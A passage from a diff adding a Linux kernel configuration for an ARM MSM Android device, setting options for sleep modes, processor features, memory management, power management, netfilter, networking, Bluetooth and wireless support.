CONFIG_MSM7X00A_SLEEP_MODE_APPS_SLEEP is not set +# CONFIG_MSM7X00A_SLEEP_MODE_RAMP_DOWN_AND_WAIT_FOR_INTERRUPT is not set +# CONFIG_MSM7X00A_SLEEP_WAIT_FOR_INTERRUPT is not set +CONFIG_MSM7X00A_SLEEP_MODE=0 +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_POWER_COLLAPSE_SUSPEND is not set +CONFIG_MSM7X00A_IDLE_SLEEP_MODE_POWER_COLLAPSE=y +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_APPS_SLEEP is not set +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_RAMP_DOWN_AND_WAIT_FOR_INTERRUPT is not set +# CONFIG_MSM7X00A_IDLE_SLEEP_WAIT_FOR_INTERRUPT is not set +CONFIG_MSM7X00A_IDLE_SLEEP_MODE=1 +CONFIG_MSM7X00A_IDLE_SLEEP_MIN_TIME=20000000 +CONFIG_MSM7X00A_IDLE_SPIN_TIME=80000 +CONFIG_CPU_HAS_L2_PMU=y +# CONFIG_MSM_TEST_QMI_CLIENT is not set +CONFIG_RTAC=y +# CONFIG_MSM_VREG_SWITCH_INVERTED is not set +# CONFIG_MSM_DMA_TEST is not set +# CONFIG_WIFI_CONTROL_FUNC is not set +CONFIG_SURF_FFA_GPIO_KEYPAD=y +CONFIG_MSM_SLEEP_TIME_OVERRIDE=y +# CONFIG_MSM_MEMORY_LOW_POWER_MODE is not set +CONFIG_MSM_PM_TIMEOUT_HALT=y +# CONFIG_MSM_PM_TIMEOUT_RESET_MODEM is not set +# CONFIG_MSM_PM_TIMEOUT_RESET_CHIP is not set +CONFIG_MSM_IDLE_WAIT_ON_MODEM=0 +CONFIG_MSM_SMCMOD=y +CONFIG_MSM_DIRECT_SCLK_ACCESS=y +CONFIG_IOMMU_API=y +# CONFIG_MSM_BUS_RPM_MULTI_TIER_ENABLED is not set +# CONFIG_MSM_STANDALONE_POWER_COLLAPSE is not set +# CONFIG_MSM_GSBI9_UART is not set +# CONFIG_MSM_ULTRASOUND is not set +CONFIG_SENSORS_ADSP=y +# CONFIG_MSM_CPR is not set +# CONFIG_MSM_HSIC_SYSMON is not set +CONFIG_MSM_ENABLE_WDOG_DEBUG_CONTROL=y +# CONFIG_KRAIT_REGULATOR is not set +# CONFIG_PLAT_SPEAR is not set + +# +# Processor Type +# +CONFIG_CPU_V7=y +CONFIG_CPU_32v6K=y +CONFIG_CPU_32v7=y +CONFIG_CPU_ABRT_EV7=y +CONFIG_CPU_PABRT_V7=y +CONFIG_CPU_CACHE_V7=y +CONFIG_CPU_CACHE_VIPT=y +CONFIG_CPU_COPY_V6=y +CONFIG_CPU_TLB_V7=y +CONFIG_CPU_HAS_ASID=y +CONFIG_CPU_CP15=y +CONFIG_CPU_CP15_MMU=y + +# +# Processor Features +# +# CONFIG_ARM_LPAE is not set +# CONFIG_ARCH_PHYS_ADDR_T_64BIT is not set +CONFIG_ARM_THUMB=y +# CONFIG_ARM_THUMBEE is not set +CONFIG_ARM_VIRT_EXT=y +CONFIG_SWP_EMULATE=y +# CONFIG_FORCE_INSTRUCTION_ALIGNMENT is not set +# CONFIG_CPU_ICACHE_DISABLE is not set +# CONFIG_CPU_DCACHE_DISABLE is not set +# CONFIG_CPU_BPREDICT_DISABLE is not set +CONFIG_KUSER_HELPERS=y +# CONFIG_CACHE_L2X0 is not set +CONFIG_ARM_L1_CACHE_SHIFT_6=y +CONFIG_ARM_L1_CACHE_SHIFT=6 +CONFIG_ARM_DMA_MEM_BUFFERABLE=y +CONFIG_STRICT_MEMORY_RWX=y +CONFIG_ARM_NR_BANKS=8 +CONFIG_MULTI_IRQ_HANDLER=y +# CONFIG_ARM_ERRATA_430973 is not set +# CONFIG_ARM_ERRATA_458693 is not set +# CONFIG_ARM_ERRATA_460075 is not set +# CONFIG_ARM_ERRATA_742230 is not set +# CONFIG_ARM_ERRATA_742231 is not set +# CONFIG_ARM_ERRATA_643719 is not set +# CONFIG_ARM_ERRATA_720789 is not set +# CONFIG_ARM_ERRATA_743622 is not set +# CONFIG_ARM_ERRATA_751472 is not set +# CONFIG_ARM_ERRATA_754322 is not set +# CONFIG_ARM_ERRATA_754327 is not set +# CONFIG_ARM_ERRATA_764369 is not set +# CONFIG_ARM_ERRATA_775420 is not set +# CONFIG_ARM_ERRATA_798181 is not set + +# +# Bus support +# +# CONFIG_PCI_SYSCALL is not set +# CONFIG_PCCARD is not set + +# +# Kernel Features +# +CONFIG_HAVE_SMP=y +CONFIG_SMP=y +# CONFIG_SMP_ON_UP is not set +CONFIG_ARM_CPU_TOPOLOGY=y +CONFIG_SCHED_MC=y +# CONFIG_SCHED_SMT is not set +CONFIG_HAVE_ARM_ARCH_TIMER=y +# CONFIG_MCPM is not set +CONFIG_VMSPLIT_3G=y +# CONFIG_VMSPLIT_2G is not set +# CONFIG_VMSPLIT_1G is not set +CONFIG_PAGE_OFFSET=0xC0000000 +CONFIG_NR_CPUS=4 +CONFIG_HOTPLUG_CPU=y +# CONFIG_ARM_PSCI is not set +CONFIG_LOCAL_TIMERS=y +CONFIG_ARCH_NR_GPIO=0 +# CONFIG_PREEMPT_NONE is not set +# CONFIG_PREEMPT_VOLUNTARY is not set +CONFIG_PREEMPT=y +CONFIG_PREEMPT_COUNT=y +CONFIG_HZ=100 +CONFIG_SCHED_HRTICK=y +# CONFIG_THUMB2_KERNEL is not set +CONFIG_AEABI=y +# CONFIG_OABI_COMPAT is not set +# CONFIG_4KSTACKS is not set +# CONFIG_ARCH_SPARSEMEM_DEFAULT is not set +# CONFIG_ARCH_SELECT_MEMORY_MODEL is not set +CONFIG_HAVE_ARCH_PFN_VALID=y +CONFIG_HIGHMEM=y +# CONFIG_HIGHPTE is not set +CONFIG_HW_PERF_EVENTS=y +# CONFIG_PERF_EVENTS_USERMODE is not set +# CONFIG_PERF_EVENTS_RESET_PMU_DEBUGFS is not set +CONFIG_FLATMEM=y +CONFIG_FLAT_NODE_MEM_MAP=y +CONFIG_HAVE_MEMBLOCK=y +CONFIG_MEMORY_ISOLATION=y +# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set +CONFIG_PAGEFLAGS_EXTENDED=y +CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_COMPACTION=y +CONFIG_MIGRATION=y +# CONFIG_PHYS_ADDR_T_64BIT is not set +CONFIG_ZONE_DMA_FLAG=0 +CONFIG_BOUNCE=y +CONFIG_KSM=y +CONFIG_DEFAULT_MMAP_MIN_ADDR=4096 +CONFIG_CROSS_MEMORY_ATTACH=y +# CONFIG_CLEANCACHE is not set +# CONFIG_FRONTSWAP is not set +CONFIG_MEMORY_HOLE_CARVEOUT=y +# CONFIG_USE_USER_ACCESSIBLE_TIMERS is not set +# CONFIG_ZBUD is not set +# CONFIG_BALANCE_ANON_FILE_RECLAIM is not set +CONFIG_PROCESS_RECLAIM=y +# CONFIG_ENABLE_VMALLOC_SAVING is not set +CONFIG_NO_VM_RECLAIM=y +CONFIG_FORCE_MAX_ZONEORDER=11 +CONFIG_ALIGNMENT_TRAP=y +# CONFIG_UACCESS_WITH_MEMCPY is not set +CONFIG_SECCOMP=y +# CONFIG_XEN is not set +CONFIG_CP_ACCESS=y +# CONFIG_ARM_FLUSH_CONSOLE_ON_RESTART is not set + +# +# Boot options +# +CONFIG_USE_OF=y +CONFIG_ATAGS=y +# CONFIG_DEPRECATED_PARAM_STRUCT is not set +# CONFIG_BUILD_ARM_APPENDED_DTB_IMAGE is not set +CONFIG_ZBOOT_ROM_TEXT=0 +CONFIG_ZBOOT_ROM_BSS=0 +# CONFIG_ARM_APPENDED_DTB is not set +CONFIG_CMDLINE="" +# CONFIG_XIP_KERNEL is not set +# CONFIG_KEXEC is not set +# CONFIG_CRASH_DUMP is not set +CONFIG_AUTO_ZRELADDR=y +CONFIG_ARM_DECOMPRESSOR_LIMIT=0x3200000 + +# +# CPU Power Management +# + +# +# CPU Frequency scaling +# +CONFIG_CPU_FREQ=y +CONFIG_CPU_FREQ_GOV_COMMON=y +CONFIG_SCHED_FREQ_INPUT=y +CONFIG_CPU_FREQ_STAT=y +# CONFIG_CPU_FREQ_STAT_DETAILS is not set +CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y +# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_INTERACTIVE is not set +CONFIG_CPU_FREQ_GOV_PERFORMANCE=y +CONFIG_CPU_FREQ_GOV_POWERSAVE=y +CONFIG_CPU_FREQ_GOV_USERSPACE=y +CONFIG_CPU_FREQ_GOV_ONDEMAND=y +CONFIG_CPU_FREQ_GOV_INTERACTIVE=y +# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set +CONFIG_CPU_BOOST=y + +# +# ARM CPU frequency scaling drivers +# +# CONFIG_ARM_EXYNOS4210_CPUFREQ is not set +# CONFIG_ARM_EXYNOS4X12_CPUFREQ is not set +# CONFIG_ARM_EXYNOS5250_CPUFREQ is not set +# CONFIG_ARM_KIRKWOOD_CPUFREQ is not set +CONFIG_CPU_FREQ_MSM=y +CONFIG_CPU_IDLE=y +CONFIG_CPU_IDLE_MULTIPLE_DRIVERS=y +CONFIG_CPU_IDLE_GOV_LADDER=y +CONFIG_CPU_IDLE_GOV_MENU=y +# CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set + +# +# Floating point emulation +# + +# +# At least one emulation must be selected +# +CONFIG_VFP=y +CONFIG_VFPv3=y +CONFIG_NEON=y + +# +# Userspace binary formats +# +CONFIG_BINFMT_ELF=y +CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE=y +# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set +CONFIG_BINFMT_SCRIPT=y +# CONFIG_HAVE_AOUT is not set +# CONFIG_BINFMT_MISC is not set +CONFIG_COREDUMP=y + +# +# Power management options +# +CONFIG_SUSPEND=y +CONFIG_SUSPEND_FREEZER=y +CONFIG_HAS_WAKELOCK=y +CONFIG_WAKELOCK=y +CONFIG_PM_SLEEP=y +CONFIG_PM_SLEEP_SMP=y +CONFIG_PM_AUTOSLEEP=y +CONFIG_PM_WAKELOCKS=y +CONFIG_PM_WAKELOCKS_LIMIT=0 +# CONFIG_PM_WAKELOCKS_GC is not set +CONFIG_PM_RUNTIME=y +CONFIG_PM=y +# CONFIG_PM_DEBUG is not set +# CONFIG_APM_EMULATION is not set +CONFIG_ARCH_HAS_OPP=y +CONFIG_PM_CLK=y +CONFIG_CPU_PM=y +# CONFIG_SUSPEND_TIME is not set +CONFIG_ARCH_SUSPEND_POSSIBLE=y +CONFIG_ARM_CPU_SUSPEND=y +CONFIG_NET=y + +# +# Networking options +# +CONFIG_PACKET=y +# CONFIG_PACKET_DIAG is not set +CONFIG_UNIX=y +# CONFIG_UNIX_DIAG is not set +CONFIG_XFRM=y +CONFIG_XFRM_ALGO=y +CONFIG_XFRM_USER=y +# CONFIG_XFRM_SUB_POLICY is not set +# CONFIG_XFRM_MIGRATE is not set +# CONFIG_XFRM_STATISTICS is not set +CONFIG_XFRM_IPCOMP=y +CONFIG_NET_KEY=y +# CONFIG_NET_KEY_MIGRATE is not set +CONFIG_INET=y +# CONFIG_IP_MULTICAST is not set +CONFIG_IP_ADVANCED_ROUTER=y +# CONFIG_IP_FIB_TRIE_STATS is not set +CONFIG_IP_MULTIPLE_TABLES=y +# CONFIG_IP_ROUTE_MULTIPATH is not set +CONFIG_IP_ROUTE_VERBOSE=y +CONFIG_IP_PNP=y +CONFIG_IP_PNP_DHCP=y +# CONFIG_IP_PNP_BOOTP is not set +# CONFIG_IP_PNP_RARP is not set +# CONFIG_NET_IPIP is not set +# CONFIG_NET_IPGRE_DEMUX is not set +CONFIG_NET_IP_TUNNEL=y +# CONFIG_ARPD is not set +# CONFIG_SYN_COOKIES is not set +# CONFIG_NET_IPVTI is not set +CONFIG_INET_AH=y +CONFIG_INET_ESP=y +# CONFIG_INET_IPCOMP is not set +# CONFIG_INET_XFRM_TUNNEL is not set +CONFIG_INET_TUNNEL=y +CONFIG_INET_XFRM_MODE_TRANSPORT=y +CONFIG_INET_XFRM_MODE_TUNNEL=y +# CONFIG_INET_XFRM_MODE_BEET is not set +# CONFIG_INET_LRO is not set +CONFIG_INET_DIAG=y +CONFIG_INET_TCP_DIAG=y +# CONFIG_INET_UDP_DIAG is not set +# CONFIG_TCP_CONG_ADVANCED is not set +CONFIG_TCP_CONG_CUBIC=y +CONFIG_DEFAULT_TCP_CONG="cubic" +# CONFIG_TCP_MD5SIG is not set +CONFIG_IPV6=y +CONFIG_IPV6_PRIVACY=y +CONFIG_IPV6_ROUTER_PREF=y +CONFIG_IPV6_ROUTE_INFO=y +CONFIG_IPV6_OPTIMISTIC_DAD=y +CONFIG_INET6_AH=y +CONFIG_INET6_ESP=y +CONFIG_INET6_IPCOMP=y +CONFIG_IPV6_MIP6=y +CONFIG_INET6_XFRM_TUNNEL=y +CONFIG_INET6_TUNNEL=y +CONFIG_INET6_XFRM_MODE_TRANSPORT=y +CONFIG_INET6_XFRM_MODE_TUNNEL=y +CONFIG_INET6_XFRM_MODE_BEET=y +# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set +CONFIG_IPV6_SIT=y +# CONFIG_IPV6_SIT_6RD is not set +CONFIG_IPV6_NDISC_NODETYPE=y +# CONFIG_IPV6_TUNNEL is not set +# CONFIG_IPV6_GRE is not set +CONFIG_IPV6_MULTIPLE_TABLES=y +CONFIG_IPV6_SUBTREES=y +# CONFIG_IPV6_MROUTE is not set +# CONFIG_NETLABEL is not set +CONFIG_ANDROID_PARANOID_NETWORK=y +CONFIG_NET_ACTIVITY_STATS=y +CONFIG_NETWORK_SECMARK=y +# CONFIG_NETWORK_PHY_TIMESTAMPING is not set +CONFIG_NETFILTER=y +# CONFIG_NETFILTER_DEBUG is not set +CONFIG_NETFILTER_ADVANCED=y +CONFIG_BRIDGE_NETFILTER=y + +# +# Core Netfilter Configuration +# +CONFIG_NETFILTER_NETLINK=y +# CONFIG_NETFILTER_NETLINK_ACCT is not set +CONFIG_NETFILTER_NETLINK_QUEUE=y +CONFIG_NETFILTER_NETLINK_LOG=y +CONFIG_NF_CONNTRACK=y +CONFIG_NF_CONNTRACK_MARK=y +CONFIG_NF_CONNTRACK_SECMARK=y +# CONFIG_NF_CONNTRACK_ZONES is not set +CONFIG_NF_CONNTRACK_PROCFS=y +CONFIG_NF_CONNTRACK_EVENTS=y +# CONFIG_NF_CONNTRACK_TIMEOUT is not set +# CONFIG_NF_CONNTRACK_TIMESTAMP is not set +CONFIG_NF_CT_PROTO_DCCP=y +CONFIG_NF_CT_PROTO_GRE=y +CONFIG_NF_CT_PROTO_SCTP=y +CONFIG_NF_CT_PROTO_UDPLITE=y +CONFIG_NF_CONNTRACK_AMANDA=y +CONFIG_NF_CONNTRACK_FTP=y +CONFIG_NF_CONNTRACK_H323=y +CONFIG_NF_CONNTRACK_IRC=y +CONFIG_NF_CONNTRACK_BROADCAST=y +CONFIG_NF_CONNTRACK_NETBIOS_NS=y +# CONFIG_NF_CONNTRACK_SNMP is not set +CONFIG_NF_CONNTRACK_PPTP=y +CONFIG_NF_CONNTRACK_SANE=y +# CONFIG_NF_CONNTRACK_SIP is not set +CONFIG_NF_CONNTRACK_TFTP=y +CONFIG_NF_CT_NETLINK=y +# CONFIG_NF_CT_NETLINK_TIMEOUT is not set +# CONFIG_NETFILTER_NETLINK_QUEUE_CT is not set +CONFIG_NF_NAT=y +CONFIG_NF_NAT_NEEDED=y +CONFIG_NF_NAT_PROTO_DCCP=y +CONFIG_NF_NAT_PROTO_UDPLITE=y +CONFIG_NF_NAT_PROTO_SCTP=y +CONFIG_NF_NAT_AMANDA=y +CONFIG_NF_NAT_FTP=y +CONFIG_NF_NAT_IRC=y +# CONFIG_NF_NAT_SIP is not set +CONFIG_NF_NAT_TFTP=y +CONFIG_NETFILTER_TPROXY=y +CONFIG_NETFILTER_XTABLES=y + +# +# Xtables combined modules +# +CONFIG_NETFILTER_XT_MARK=y +CONFIG_NETFILTER_XT_CONNMARK=y + +# +# Xtables targets +# +# CONFIG_NETFILTER_XT_TARGET_AUDIT is not set +# CONFIG_NETFILTER_XT_TARGET_CHECKSUM is not set +CONFIG_NETFILTER_XT_TARGET_CLASSIFY=y +CONFIG_NETFILTER_XT_TARGET_CONNMARK=y +CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=y +CONFIG_NETFILTER_XT_TARGET_CT=y +# CONFIG_NETFILTER_XT_TARGET_DSCP is not set +# CONFIG_NETFILTER_XT_TARGET_HL is not set +# CONFIG_NETFILTER_XT_TARGET_HMARK is not set +CONFIG_NETFILTER_XT_TARGET_IDLETIMER=y +CONFIG_NETFILTER_XT_TARGET_HARDIDLETIMER=y +# CONFIG_NETFILTER_XT_TARGET_LED is not set +CONFIG_NETFILTER_XT_TARGET_LOG=y +CONFIG_NETFILTER_XT_TARGET_MARK=y +CONFIG_NETFILTER_XT_TARGET_NETMAP=y +CONFIG_NETFILTER_XT_TARGET_NFLOG=y +CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y +CONFIG_NETFILTER_XT_TARGET_NOTRACK=y +# CONFIG_NETFILTER_XT_TARGET_RATEEST is not set +CONFIG_NETFILTER_XT_TARGET_REDIRECT=y +# CONFIG_NETFILTER_XT_TARGET_TEE is not set +CONFIG_NETFILTER_XT_TARGET_TPROXY=y +CONFIG_NETFILTER_XT_TARGET_TRACE=y +CONFIG_NETFILTER_XT_TARGET_SECMARK=y +CONFIG_NETFILTER_XT_TARGET_TCPMSS=y +# CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set + +# +# Xtables matches +# +# CONFIG_NETFILTER_XT_MATCH_ADDRTYPE is not set +# CONFIG_NETFILTER_XT_MATCH_BPF is not set +# CONFIG_NETFILTER_XT_MATCH_CLUSTER is not set +CONFIG_NETFILTER_XT_MATCH_COMMENT=y +# CONFIG_NETFILTER_XT_MATCH_CONNBYTES is not set +# CONFIG_NETFILTER_XT_MATCH_CONNLABEL is not set +CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=y +CONFIG_NETFILTER_XT_MATCH_CONNMARK=y +CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y +# CONFIG_NETFILTER_XT_MATCH_CPU is not set +# CONFIG_NETFILTER_XT_MATCH_DCCP is not set +# CONFIG_NETFILTER_XT_MATCH_DEVGROUP is not set +CONFIG_NETFILTER_XT_MATCH_DSCP=y +CONFIG_NETFILTER_XT_MATCH_ECN=y +CONFIG_NETFILTER_XT_MATCH_ESP=y +CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=y +CONFIG_NETFILTER_XT_MATCH_HELPER=y +CONFIG_NETFILTER_XT_MATCH_HL=y +CONFIG_NETFILTER_XT_MATCH_IPRANGE=y +CONFIG_NETFILTER_XT_MATCH_LENGTH=y +CONFIG_NETFILTER_XT_MATCH_LIMIT=y +CONFIG_NETFILTER_XT_MATCH_MAC=y +CONFIG_NETFILTER_XT_MATCH_MARK=y +CONFIG_NETFILTER_XT_MATCH_MULTIPORT=y +# CONFIG_NETFILTER_XT_MATCH_NFACCT is not set +# CONFIG_NETFILTER_XT_MATCH_OSF is not set +# CONFIG_NETFILTER_XT_MATCH_OWNER is not set +CONFIG_NETFILTER_XT_MATCH_POLICY=y +# CONFIG_NETFILTER_XT_MATCH_PHYSDEV is not set +CONFIG_NETFILTER_XT_MATCH_PKTTYPE=y +CONFIG_NETFILTER_XT_MATCH_QTAGUID=y +CONFIG_NETFILTER_XT_MATCH_QUOTA=y +CONFIG_NETFILTER_XT_MATCH_QUOTA2=y +CONFIG_NETFILTER_XT_MATCH_QUOTA2_LOG=y +# CONFIG_NETFILTER_XT_MATCH_RATEEST is not set +# CONFIG_NETFILTER_XT_MATCH_REALM is not set +# CONFIG_NETFILTER_XT_MATCH_RECENT is not set +# CONFIG_NETFILTER_XT_MATCH_SCTP is not set +CONFIG_NETFILTER_XT_MATCH_SOCKET=y +CONFIG_NETFILTER_XT_MATCH_STATE=y +CONFIG_NETFILTER_XT_MATCH_STATISTIC=y +CONFIG_NETFILTER_XT_MATCH_STRING=y +# CONFIG_NETFILTER_XT_MATCH_TCPMSS is not set +CONFIG_NETFILTER_XT_MATCH_TIME=y +CONFIG_NETFILTER_XT_MATCH_U32=y +# CONFIG_IP_SET is not set +# CONFIG_IP_VS is not set + +# +# IP: Netfilter Configuration +# +CONFIG_NF_DEFRAG_IPV4=y +CONFIG_NF_CONNTRACK_IPV4=y +CONFIG_NF_CONNTRACK_PROC_COMPAT=y +CONFIG_IP_NF_IPTABLES=y +CONFIG_IP_NF_MATCH_AH=y +CONFIG_IP_NF_MATCH_ECN=y +# CONFIG_IP_NF_MATCH_RPFILTER is not set +CONFIG_IP_NF_MATCH_TTL=y +CONFIG_IP_NF_FILTER=y +CONFIG_IP_NF_TARGET_REJECT=y +CONFIG_IP_NF_TARGET_REJECT_SKERR=y +# CONFIG_IP_NF_TARGET_ULOG is not set +CONFIG_NF_NAT_IPV4=y +CONFIG_IP_NF_TARGET_MASQUERADE=y +# CONFIG_IP_NF_TARGET_NATTYPE_MODULE is not set +CONFIG_IP_NF_TARGET_NETMAP=y +CONFIG_IP_NF_TARGET_REDIRECT=y +CONFIG_NF_NAT_PROTO_GRE=y +CONFIG_NF_NAT_PPTP=y +CONFIG_NF_NAT_H323=y +CONFIG_IP_NF_MANGLE=y +# CONFIG_IP_NF_TARGET_CLUSTERIP is not set +# CONFIG_IP_NF_TARGET_ECN is not set +# CONFIG_IP_NF_TARGET_TTL is not set +CONFIG_IP_NF_RAW=y +CONFIG_IP_NF_SECURITY=y +CONFIG_IP_NF_ARPTABLES=y +CONFIG_IP_NF_ARPFILTER=y +CONFIG_IP_NF_ARP_MANGLE=y + +# +# IPv6: Netfilter Configuration +# +CONFIG_NF_DEFRAG_IPV6=y +CONFIG_NF_CONNTRACK_IPV6=y +CONFIG_IP6_NF_IPTABLES=y +# CONFIG_IP6_NF_MATCH_AH is not set +# CONFIG_IP6_NF_MATCH_EUI64 is not set +# CONFIG_IP6_NF_MATCH_FRAG is not set +# CONFIG_IP6_NF_MATCH_OPTS is not set +# CONFIG_IP6_NF_MATCH_HL is not set +# CONFIG_IP6_NF_MATCH_IPV6HEADER is not set +# CONFIG_IP6_NF_MATCH_MH is not set +# CONFIG_IP6_NF_MATCH_RPFILTER is not set +# CONFIG_IP6_NF_MATCH_RT is not set +# CONFIG_IP6_NF_TARGET_HL is not set +CONFIG_IP6_NF_FILTER=y +CONFIG_IP6_NF_TARGET_REJECT=y +CONFIG_IP6_NF_TARGET_REJECT_SKERR=y +CONFIG_IP6_NF_MANGLE=y +CONFIG_IP6_NF_RAW=y +# CONFIG_IP6_NF_SECURITY is not set +# CONFIG_NF_NAT_IPV6 is not set +CONFIG_BRIDGE_NF_EBTABLES=y +CONFIG_BRIDGE_EBT_BROUTE=y +# CONFIG_BRIDGE_EBT_T_FILTER is not set +# CONFIG_BRIDGE_EBT_T_NAT is not set +# CONFIG_BRIDGE_EBT_802_3 is not set +# CONFIG_BRIDGE_EBT_AMONG is not set +# CONFIG_BRIDGE_EBT_ARP is not set +# CONFIG_BRIDGE_EBT_IP is not set +# CONFIG_BRIDGE_EBT_IP6 is not set +# CONFIG_BRIDGE_EBT_LIMIT is not set +# CONFIG_BRIDGE_EBT_MARK is not set +# CONFIG_BRIDGE_EBT_PKTTYPE is not set +# CONFIG_BRIDGE_EBT_STP is not set +# CONFIG_BRIDGE_EBT_VLAN is not set +# CONFIG_BRIDGE_EBT_ARPREPLY is not set +# CONFIG_BRIDGE_EBT_DNAT is not set +# CONFIG_BRIDGE_EBT_MARK_T is not set +# CONFIG_BRIDGE_EBT_REDIRECT is not set +# CONFIG_BRIDGE_EBT_SNAT is not set +# CONFIG_BRIDGE_EBT_LOG is not set +# CONFIG_BRIDGE_EBT_ULOG is not set +# CONFIG_BRIDGE_EBT_NFLOG is not set +# CONFIG_IP_DCCP is not set +# CONFIG_IP_SCTP is not set +# CONFIG_RDS is not set +# CONFIG_TIPC is not set +# CONFIG_ATM is not set +# CONFIG_L2TP is not set +CONFIG_STP=y +CONFIG_BRIDGE=y +CONFIG_BRIDGE_IGMP_SNOOPING=y +CONFIG_HAVE_NET_DSA=y +# CONFIG_VLAN_8021Q is not set +# CONFIG_DECNET is not set +CONFIG_LLC=y +# CONFIG_LLC2 is not set +# CONFIG_IPX is not set +# CONFIG_ATALK is not set +# CONFIG_X25 is not set +# CONFIG_LAPB is not set +# CONFIG_PHONET is not set +# CONFIG_IEEE802154 is not set +CONFIG_NET_SCHED=y + +# +# Queueing/Scheduling +# +# CONFIG_NET_SCH_CBQ is not set +CONFIG_NET_SCH_HTB=y +# CONFIG_NET_SCH_HFSC is not set +CONFIG_NET_SCH_PRIO=y +# CONFIG_NET_SCH_MULTIQ is not set +# CONFIG_NET_SCH_RED is not set +# CONFIG_NET_SCH_SFB is not set +# CONFIG_NET_SCH_SFQ is not set +# CONFIG_NET_SCH_TEQL is not set +# CONFIG_NET_SCH_TBF is not set +# CONFIG_NET_SCH_GRED is not set +# CONFIG_NET_SCH_DSMARK is not set +# CONFIG_NET_SCH_NETEM is not set +# CONFIG_NET_SCH_DRR is not set +# CONFIG_NET_SCH_MQPRIO is not set +# CONFIG_NET_SCH_CHOKE is not set +# CONFIG_NET_SCH_QFQ is not set +# CONFIG_NET_SCH_CODEL is not set +# CONFIG_NET_SCH_FQ_CODEL is not set +# CONFIG_NET_SCH_INGRESS is not set +# CONFIG_NET_SCH_PLUG is not set + +# +# Classification +# +CONFIG_NET_CLS=y +# CONFIG_NET_CLS_BASIC is not set +# CONFIG_NET_CLS_TCINDEX is not set +# CONFIG_NET_CLS_ROUTE4 is not set +CONFIG_NET_CLS_FW=y +CONFIG_NET_CLS_U32=y +# CONFIG_CLS_U32_PERF is not set +CONFIG_CLS_U32_MARK=y +# CONFIG_NET_CLS_RSVP is not set +# CONFIG_NET_CLS_RSVP6 is not set +CONFIG_NET_CLS_FLOW=y +# CONFIG_NET_CLS_CGROUP is not set +CONFIG_NET_EMATCH=y +CONFIG_NET_EMATCH_STACK=32 +CONFIG_NET_EMATCH_CMP=y +CONFIG_NET_EMATCH_NBYTE=y +CONFIG_NET_EMATCH_U32=y +CONFIG_NET_EMATCH_META=y +CONFIG_NET_EMATCH_TEXT=y +CONFIG_NET_CLS_ACT=y +# CONFIG_NET_ACT_POLICE is not set +# CONFIG_NET_ACT_GACT is not set +# CONFIG_NET_ACT_MIRRED is not set +# CONFIG_NET_ACT_IPT is not set +# CONFIG_NET_ACT_NAT is not set +# CONFIG_NET_ACT_PEDIT is not set +# CONFIG_NET_ACT_SIMP is not set +# CONFIG_NET_ACT_SKBEDIT is not set +# CONFIG_NET_ACT_CSUM is not set +# CONFIG_NET_CLS_IND is not set +CONFIG_NET_SCH_FIFO=y +# CONFIG_DCB is not set +# CONFIG_DNS_RESOLVER is not set +# CONFIG_BATMAN_ADV is not set +# CONFIG_OPENVSWITCH is not set +# CONFIG_VSOCKETS is not set +# CONFIG_NETLINK_MMAP is not set +# CONFIG_NETLINK_DIAG is not set +CONFIG_RMNET_DATA=y +CONFIG_RMNET_DATA_FC=y +CONFIG_RMNET_DATA_DEBUG_PKT=y +CONFIG_RPS=y +CONFIG_RFS_ACCEL=y +CONFIG_XPS=y +# CONFIG_NETPRIO_CGROUP is not set +CONFIG_BQL=y +# CONFIG_SOCKEV_NLMCAST is not set + +# +# Network testing +# +# CONFIG_NET_PKTGEN is not set +# CONFIG_NET_DROP_MONITOR is not set +# CONFIG_HAMRADIO is not set +# CONFIG_CAN is not set +# CONFIG_IRDA is not set +CONFIG_BT=y +CONFIG_BT_RFCOMM=y +CONFIG_BT_RFCOMM_TTY=y +CONFIG_BT_BNEP=y +CONFIG_BT_BNEP_MC_FILTER=y +CONFIG_BT_BNEP_PROTO_FILTER=y +CONFIG_BT_HIDP=y + +# +# Bluetooth device drivers +# +# CONFIG_BT_HCIBTUSB is not set +# CONFIG_BT_HCIBTSDIO is not set +# CONFIG_BT_HCIUART is not set +# CONFIG_BT_HCIBCM203X is not set +# CONFIG_BT_HCIBPA10X is not set +# CONFIG_BT_HCIBFUSB is not set +# CONFIG_BT_HCIVHCI is not set +# CONFIG_BT_MRVL is not set +CONFIG_MSM_BT_POWER=y +# CONFIG_AF_RXRPC is not set +CONFIG_FIB_RULES=y +CONFIG_WIRELESS=y +CONFIG_WIRELESS_EXT=y +CONFIG_WEXT_CORE=y +CONFIG_WEXT_PROC=y +CONFIG_WEXT_SPY=y +CONFIG_WEXT_PRIV=y +CONFIG_CFG80211=y +CONFIG_NL80211_TESTMODE=y +# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set +# CONFIG_CFG80211_REG_DEBUG is not set +# CONFIG_CFG80211_CERTIFICATION_ONUS is not set +CONFIG_CFG80211_DEFAULT_PS=y +# CONFIG_CFG80211_DEBUGFS is not set +CONFIG_CFG80211_INTERNAL_REGDB=y +# CONFIG_CFG80211_WEXT is not set +# CONFIG_LIB80211 is not set +# CONFIG_CFG80211_ALLOW_RECONNECT is not set +# CONFIG_MAC80211 is not set +# CONFIG_WIMAX is not set +CONFIG_RFKILL=y +CONFIG_RFKILL_PM=y +CONFIG_RFKILL_LEDS=y +# CONFIG_RFKILL_INPUT is not set +# 